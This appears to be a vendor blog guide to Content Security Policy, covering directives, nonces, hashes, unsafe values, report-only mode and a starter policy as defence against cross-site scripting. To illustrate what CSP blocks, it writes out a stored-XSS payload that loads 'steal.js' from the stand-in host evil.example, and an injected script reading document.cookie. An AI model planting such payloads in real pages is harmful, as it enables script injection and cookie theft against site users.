What Is a Content Security Policy (CSP)? Complete Guide (2026)

Saar Twito8 min read
Saar Twito
Saar TwitoFounder & SEO Engineer

Hi, I'm Saar - a software engineer, SEO specialist, and lecturer who loves building tools and teaching tech.

View author profile →

What Is a Content Security Policy?

A Content Security Policy (CSP) is an HTTP response header — or a <meta> tag — that tells the browser exactly which sources are permitted to load scripts, stylesheets, images, fonts, and other resources on a page. Any resource that does not match the policy is blocked before it executes. This makes CSP the primary browser-level defence against Cross-Site Scripting (XSS) attacks, which consistently rank in the OWASP Top 10 — listed as A05:2025 (Injection) in the 2025 edition (previously A03:2021).

XSS attacks work by injecting malicious scripts into a trusted page. Without a CSP, the browser has no way to distinguish between the site's own scripts and an attacker's injected code — it executes both. A CSP shifts that enforcement to the browser: even if an attacker manages to inject a script tag, the browser refuses to run it unless the source matches the policy. The OWASP CSP Cheat Sheet recommends deploying CSP as a defence-in-depth layer alongside output encoding and input validation — not as a replacement for them.

Key Facts (TL;DR)

  • Standard: W3C Content Security Policy Level 3 (Working Draft); core CSP has been widely supported in browsers since August 2016 per MDN Web Docs.
  • Header: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-RANDOM'
  • Primary threat blocked: Cross-Site Scripting (XSS) — listed as A05:2025 (Injection) in the OWASP Top 10.
  • Safe inline scripts: Use a per-request nonce or a SHA-256 hash — never 'unsafe-inline'.
  • Testing mode: Content-Security-Policy-Report-Only lets you observe violations without blocking anything.
  • Greadme audit: Flagged under Security when the CSP header is absent or configured with dangerous values like 'unsafe-inline' or 'unsafe-eval'.

How XSS Works — and Why CSP Stops It

In a stored XSS attack, an attacker submits a payload like <script src="https://evil.example/steal.js"></script> into a comment field or user profile. The server saves it and later renders it to other users. Without a CSP, the browser sees a <script> tag in the HTML and executes it — no questions asked.

With a strict CSP like script-src 'self', the browser checks the script's origin against the policy. evil.example is not self, so the browser blocks the request and logs a violation — the attacker's script never runs.

Web application attacks remain one of the most common breach vectors year after year, according to the annual Verizon Data Breach Investigations Report. A properly configured CSP eliminates the majority of XSS vectors entirely. Google's web.dev strict CSP guide documents that strict, nonce-based CSP has prevented numerous XSS attacks across Google products.

Core CSP Directives Explained

A CSP policy is a semicolon-separated list of directives. Each directive controls a specific resource type. Here are the most important ones:

DirectiveControlsRecommended value
default-srcFallback for all resource types not explicitly listed'self'
script-srcJavaScript sources (<script>, inline handlers, eval)'self' 'nonce-RANDOM'
style-srcCSS sources (<style>, style= attributes, external stylesheets)'self' 'nonce-RANDOM'
img-srcImage sources'self' data: https:
connect-srcXHR, fetch, WebSocket endpoints'self' https://api.example.com
font-srcWeb font sources'self' https://fonts.gstatic.com
frame-srcSources allowed in <iframe>'none' or specific trusted origins
object-srcPlugins: <object>, <embed>, <applet>'none' (plugins are obsolete)
base-uriValues allowed in <base href>'self' (prevents base-tag injection)
form-actionWhere forms can submit to'self'
frame-ancestorsWho can embed this page in an iframe'none' or 'self'

Nonces and Hashes: Allowing Inline Scripts Safely

The biggest practical challenge with CSP is inline scripts. Many sites use inline <script> blocks or event handlers like onclick="". A strict CSP blocks these by default — and rightly so, because inline scripts are the most common XSS injection point.

There are two safe ways to allow inline scripts without opening the policy to all inline code:

Nonces (recommended for dynamic content)

A nonce is a cryptographically random value generated fresh on every server response. It is added to the CSP header and to each trusted <script> tag. The browser only executes inline scripts whose nonce matches the one in the header — and since the nonce changes every request, an attacker cannot predict it.

# CSP header (server generates a new nonce per request)
Content-Security-Policy: script-src 'self' 'nonce-rAnd0mV4lu3'

<!-- Only this script runs — the nonce matches -->
<script nonce="rAnd0mV4lu3">
  console.log('trusted inline script');
</script>

<!-- Attacker's injected script is blocked — no matching nonce -->
<script>document.cookie = '...'</script>

Hashes (for static inline scripts)

A hash is a SHA-256 (or SHA-384/SHA-512) digest of the exact script content. Add it to the script-src directive. If the script content changes, the hash no longer matches and the browser blocks it — which also serves as tamper detection.

# Generate the hash of your inline script content
echo -n "console.log('hello');" | openssl dgst -sha256 -binary | base64

# Use it in the CSP header
Content-Security-Policy: script-src 'self' 'sha256-abc123...='

Values That Make Your CSP Useless

A CSP with the wrong values provides false security. These are the directives that effectively disable XSS protection:

'unsafe-inline'

Allows all inline scripts and event handlers, including any injected by an attacker. This completely negates XSS protection for the script-src directive. Avoid it. Use nonces or hashes instead.

'unsafe-eval'

Allows eval(), new Function(), setTimeout(string), and similar dynamic code execution — common XSS injection vectors. Avoid it unless you have a documented dependency that genuinely requires it and cannot be replaced.

Wildcard sources (*)

A directive like script-src * allows scripts from any origin on the internet, making the policy meaningless. Always use explicit origins or 'self'.

https: as a scheme-only source

script-src https: allows scripts from any HTTPS URL — which still includes attacker-controlled domains. Enumerate specific trusted domains instead.

Report-Only Mode: Test Before Enforcing

Deploying a strict CSP on an existing site without testing will almost certainly break something — a third-party analytics tag, an inline event handler, a CDN-hosted script. The Content-Security-Policy-Report-Only header lets you observe what would be blocked without actually blocking it.

# Observe violations without blocking — safe for testing
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'nonce-RANDOM'; report-uri /csp-violations

Violations are sent as JSON POST requests to the report-uri endpoint. Collect and review them for a few days across real traffic before switching to the enforcing Content-Security-Policy header.

The modern successor to report-uri is the Reporting-Endpoints header combined with report-to in the CSP, which supports batched reporting and is defined in the W3C Reporting API specification.

A Practical Starter CSP

The OWASP CSP Cheat Sheet recommends a strict, nonce-based policy as the modern best practice. The 'strict-dynamic' source expression — added in CSP Level 3 — extends trust from a nonced script to any script it dynamically loads, which makes strict CSP work with modern JavaScript frameworks. This policy is a safe starting point for most web applications. Replace RANDOM with a server-generated nonce per request, and expand connect-src and img-src as your app requires:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-RANDOM';
  style-src 'self' 'nonce-RANDOM';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;

The upgrade-insecure-requests directive instructs the browser to rewrite all HTTP sub-resource requests to HTTPS before fetching them — a useful companion to HSTS for catching leftover mixed-content references.

How to Verify Your CSP

  • Chrome DevTools → Console — CSP violations appear as red errors with the blocked URL and the directive that blocked it. This is the fastest way to catch policy gaps during development.
  • Chrome DevTools → Network → response headers — inspect the Content-Security-Policy header returned by your server to confirm it matches what you configured.
  • Greadme deep scan — audits your CSP header for dangerous values like 'unsafe-inline', 'unsafe-eval', and overly broad wildcards, and flags a missing policy as a Security issue.
  • report-uri endpoint — set up violation reporting in production and monitor real-world violations to tighten the policy over time.

FAQ

Does a CSP completely prevent XSS?

A strict CSP with nonces and no 'unsafe-inline' eliminates the majority of XSS vectors. It does not replace input validation and output encoding — those remain essential. A CSP is a defence-in-depth layer: it limits damage even when an injection vulnerability exists, but it is not a substitute for fixing the underlying bug.

Can I set a CSP with a meta tag instead of a header?

Yes, but with limitations. The <meta http-equiv="Content-Security-Policy"> tag is supported and useful for static sites that cannot set HTTP headers. However, it cannot use frame-ancestors, report-uri, or sandbox — those directives only work in the HTTP header form.

Will a CSP break my Google Analytics or Tag Manager?

Potentially, yes — if you add them via a script tag without a nonce. The clean solution is to load them through a server-side tag manager or to add their origins to script-src and connect-src. Avoid using 'unsafe-inline' just to unblock a third-party tag.

What is the difference between CSP and CORS?

CSP controls what resources the browser is allowed to load on a page — it is an outbound filter on resource fetching. CORS (Cross-Origin Resource Sharing) controls which external origins are allowed to read responses from your server — it is an inbound filter on cross-origin API access. They solve different problems and are often used together.

Does CSP affect SEO?

Indirectly. A missing or weak CSP signals to security audits that the site may be vulnerable to XSS. More practically, an XSS attack that injects spam links or redirects into your pages will damage rankings directly. CSP prevents that class of attack from succeeding even if an injection vulnerability exists.

What does 'self' mean in a CSP?

'self' means the same origin as the page — the same scheme, host, and port. A script loaded from https://example.com/app.js matches 'self' for a page served from https://example.com. A script from https://cdn.example.com/app.js does not — that is a different host and requires an explicit entry in script-src.

Is CSP Level 3 supported in all major browsers?

The core directives — default-src, script-src, style-src, nonce, and hash — are supported in all modern browsers including Chrome, Firefox, Safari, and Edge. CSP Level 3 itself is still a W3C Working Draft, but most of its features (including 'strict-dynamic') ship in major browsers. Refer to the W3C CSP Level 3 specification and the MDN CSP guide for current per-feature browser support.

What does the OWASP Top 10 say about XSS in 2025?

The 2025 edition of the OWASP Top 10 lists Injection — which includes XSS — as A05:2025 (it was A03:2021 in the previous edition). The OWASP XSS Prevention Cheat Sheet recommends combining context-aware output encoding, input validation, and a strict CSP with nonces or hashes — defence in depth, not one mechanism alone.

Conclusion

A Content Security Policy is the most effective browser-level defence against XSS — the attack category responsible for a significant share of web application breaches. The critical steps are: avoid 'unsafe-inline' and 'unsafe-eval', use nonces or hashes for inline scripts, deploy in report-only mode first to identify gaps, and then switch to enforcement. Run a Greadme deep scan to check whether your site has a CSP header and whether it contains any dangerous values that would make the policy ineffective.